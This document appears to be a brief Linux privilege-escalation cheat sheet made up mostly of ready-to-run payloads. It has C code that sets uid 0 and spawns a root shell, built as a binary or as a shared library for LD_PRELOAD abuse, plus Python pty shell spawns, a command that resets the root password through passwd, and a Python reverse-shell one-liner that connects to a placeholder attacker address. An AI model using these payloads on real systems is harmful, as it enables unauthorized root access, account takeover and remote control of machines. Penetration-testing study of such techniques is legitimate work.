C

Using the below shell code we can create a binary that will pop a shell as the user running it. This is useful if we can abuse programs or sudo misconfigurations

#include <unistd.h>

__attribute__((constructor))
static void init() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
gcc -o exploit shell.c

If gcc throws an error /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o: in function _start: (.text+0x24): undefined reference to main' then we can use the -nostartfiles flag

gcc -o exploit shell.c -nostartfiles
gcc -shared -o exploit.so -fPIC  shell.c

Once built we can abuse LD_PRELOAD and PATH

Python

Again we can use abuse LD_PRELOAD and PATH to escalate our privileges via python.

Interactive

If we have a application we can abuse in an interactive way then we use pty to drop into a shell.

import pty;pty.spawn("/bin/bash")
"""
"""
import pty
pty.spawn("/bin/bash")
exit()

Non Interactive

If the script is running under cron, systemd timers or other means then we will need to get creative.

We could use os.system to run a system command, for example if the script run's as root.

import os
os.system("echo -n 'r00tr00t\nr00tr00t' | passwd")

Or we could use to get a reverse shell.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP-ADDRESS}",{PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);